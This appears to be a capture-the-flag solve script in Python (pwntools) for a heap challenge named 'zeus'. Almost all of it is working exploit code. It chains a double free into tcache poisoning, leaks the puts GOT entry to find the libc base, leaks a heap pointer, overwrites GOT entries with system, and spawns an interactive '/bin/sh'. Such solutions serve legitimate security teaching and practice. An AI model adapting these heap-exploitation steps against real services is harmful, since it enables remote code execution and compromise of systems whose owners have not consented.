p11-zeus

solve.py

#!/usr/bin/env python
from pwn import *
import sys

gdbcmd = 'b *0x004011ca'

# context.terminal = 'kitty @ new-window --new-tab --tab-title pwn --keep-focus sh -c'.split()

if sys.argv.__len__() == 3:
    r = remote(sys.argv[1], int(sys.argv[2]))
else:
    # r = process('./zeus', aslr=False, env={'LD_PRELOAD':'./libc-2.28-9dc614ec33ee0284064ec5535bda431c.so'})
    # r = process('./zeus', aslr=False)
    r = process('./zeus')

def insert(key, lkey, val, lval):
    r.sendlineafter('>> ', '1')
    r.sendlineafter(': ', lkey.__str__())
    r.sendlineafter(': ', key)
    r.sendlineafter(': ', lval.__str__())
    r.sendlineafter(': ', val)
    # r.recvline(False)
    # log.info(r.recvline(False))

def delete(key):
    r.sendlineafter('>> ', '2')
    r.sendlineafter(': ', key)
    # log.info(r.recvline(False))

def lookup(key):
    r.sendlineafter('>> ', '3')
    r.sendlineafter(': ', key)
    r.recvuntil(': ')
    return r.recvline(False)

insert('A' * 16, 16, 'a' * 0x20, 0x20)
payload  = 'b' * 0xd8
payload += p64(0x30)
payload += p64(0x602000)
payload += p64(0x00400505) 
payload += p64(0x602020)
payload += p64(0)
payload += 'b' * 7
insert('B' * 16, 16, payload, 0x108)

delete('B' * 16)
delete('A' * 16)
delete('B' * 16)

payload = p64(0) # fd
payload += p64(0x00400505) # key : str.malloc
payload += p64(0x602020) # value : reloc.puts
payload += p64(0x6020F0) # next

insert('B' * 16, 16, payload, 0x20)

off_puts = 0x70e80
off_puts = 0x809c0
puts = u64(lookup('malloc').ljust(8, '\x00'))
libc = puts - off_puts

log.info(hex(libc))

payload = p64(0)
payload += p64(0x00400505) # key : str.malloc
payload += p64(0x6020D0) # value : heap
payload += p64(0) # next

insert('A' * 16, 16, payload, 0x20)

heap = u64(lookup('malloc').ljust(8, '\x00'))
log.info(hex(heap))

payload = p64(0)
payload += p64(0x00400505) # key : ???
payload += p64(0x6020D0) # value : ???
payload += p64(0) # next

insert('B' * 16, 16, 'c' * 32, 32)

delete('B' * 16)
delete('A' * 16)
delete('B' * 16)

payload = p64(0x602078) # tcache overwrite
payload += p64(0x00400505) # key : ???
payload += p64(0x6020D0) # value : ???
payload += p64(heap + 0x11c0) # next

# gdb.attach(r, gdbcmd)
insert('B' * 16, 16, payload, 0x20)

insert('A' * 16, 16, 'A' * 16, 16)

payload  = p64(libc + 0x98c30) # realloc
payload += p64(libc + 0x812f0) # setvbuf
payload += p64(libc + 0x4f440) # system
payload += p64(libc + 0x43120) # system

insert('A' * 16, 16, payload, 0x20)

r.sendlineafter('>> ', '1')
r.sendlineafter(': ', '/bin/sh')

r.interactive()